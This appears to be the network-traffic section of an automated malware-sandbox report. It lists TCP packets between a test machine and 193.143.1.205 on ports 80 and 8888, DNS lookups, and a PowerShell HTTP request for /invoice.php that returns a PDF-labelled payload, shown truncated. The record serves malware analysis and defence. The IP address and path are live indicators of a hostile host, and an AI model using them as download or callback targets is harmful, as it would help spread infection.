Jan 11, 2025 04:19:27.024893045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024902105 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.024905920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024919987 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024945021 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.024972916 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.025377035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.025388956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.025399923 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.025412083 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.025428057 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.025430918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.025443077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.025451899 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.025453091 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.025465965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.025475979 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.025486946 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.025497913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.025512934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.025515079 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.025531054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.025542021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.025546074 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.025554895 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.025576115 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.025588036 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.046535015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.046554089 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.046598911 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.046607971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.046629906 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.046639919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.046670914 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.046788931 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.046802998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.046813965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.046825886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.046828032 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.046853065 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.046912909 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.046924114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.046953917 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.049253941 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.070244074 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070262909 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070277929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070292950 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070338964 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.070344925 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070357084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070369005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070384026 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.070401907 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.070576906 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070588112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070600033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070611954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070638895 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.070663929 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.070734024 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070744038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070755005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070766926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070780993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070787907 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.070806980 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.070974112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070986032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.070998907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.071031094 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.071054935 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.071086884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.071098089 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.071104050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.071110010 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.071118116 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.071176052 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.108098984 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108118057 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108130932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108160019 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108174086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108190060 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.108222961 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.108273029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108283997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108297110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108316898 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.108402014 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108412981 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108424902 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108442068 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.108465910 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.108506918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108519077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108530045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108541965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108552933 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.108555079 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108581066 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.108783007 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108813047 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108824015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108834028 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.108834982 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108850956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.108858109 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.108882904 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.109047890 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109057903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109069109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109082937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109091997 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.109095097 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109106064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109117985 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.109147072 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.109318018 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109440088 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109452963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109462976 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109473944 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109477043 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.109484911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109496117 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109504938 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.109508038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109519958 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109536886 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.109551907 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.109740973 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109780073 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.109949112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109960079 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109971046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109980106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109991074 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.109992981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.110002995 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110014915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110018969 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.110027075 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110038042 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110038996 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.110050917 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110061884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110074043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110074997 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.110105038 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.110116005 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.110515118 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110526085 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110537052 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110548019 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110558033 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.110559940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110574961 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110585928 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.110586882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110596895 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110609055 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110629082 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.110652924 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.110960960 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110971928 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110977888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110984087 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.110989094 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.111048937 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.111048937 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.111090899 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.111104012 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.111114025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.111128092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.111138105 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.111141920 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.111150026 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.111161947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.111166000 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.111172915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.111185074 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.111196041 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.111202955 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.111207962 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.111217022 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.111244917 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.111957073 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.111968994 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.111979961 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.111990929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.112004042 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.112004042 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.112016916 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.112026930 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.112032890 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.112045050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.112049103 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.112054110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.112055063 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.112066031 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.112070084 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.112077951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.112088919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.112099886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.112102985 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.112112999 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.112122059 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.112149954 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.115880966 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.156543970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.156563044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.156579018 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.156599998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.156613111 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.156625032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.156667948 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.156701088 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.156838894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.156858921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.156868935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.156881094 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.156893015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.156907082 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.156918049 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.156944990 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.157016993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157028913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157041073 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157053947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157079935 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.157100916 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.157296896 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157308102 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157319069 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157327890 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157340050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157344103 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.157351971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157363892 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157371044 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.157376051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157387972 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157396078 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.157401085 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157412052 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.157432079 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.157749891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157763004 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157778978 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157789946 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157802105 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.157814026 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.157840967 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.194530010 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.194597006 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.194631100 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.194633961 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.194669008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.194684982 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.194704056 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.194739103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.194746971 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.194793940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.194827080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.194834948 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.194844961 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.194854975 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.194860935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.194871902 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.194894075 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.194919109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.194931030 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.194942951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.194956064 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.194986105 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.195121050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.195131063 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.195141077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.195163965 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.247507095 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.401253939 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.612814903 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:28.115780115 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:28.120749950 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:28.120855093 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:28.121016026 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:28.125783920 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:28.926337957 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:28.966214895 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:29.211967945 CET	49706	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:19:35.744245052 CET	54484	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:19:35.744245052 CET	192.168.2.5	1.1.1.1	0x2bfd	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 04:19:35.751493931 CET	1.1.1.1	192.168.2.5	0x2bfd	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:19:36.571561098 CET	1.1.1.1	192.168.2.5	0xf087	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:19:36.571561098 CET	1.1.1.1	192.168.2.5	0xf087	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:20:39.057709932 CET	1.1.1.1	192.168.2.5	0x8a3a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:20:39.057709932 CET	1.1.1.1	192.168.2.5	0x8a3a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	193.143.1.205	80	5404	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:19:25.681268930 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 04:19:26.543791056 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:19:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 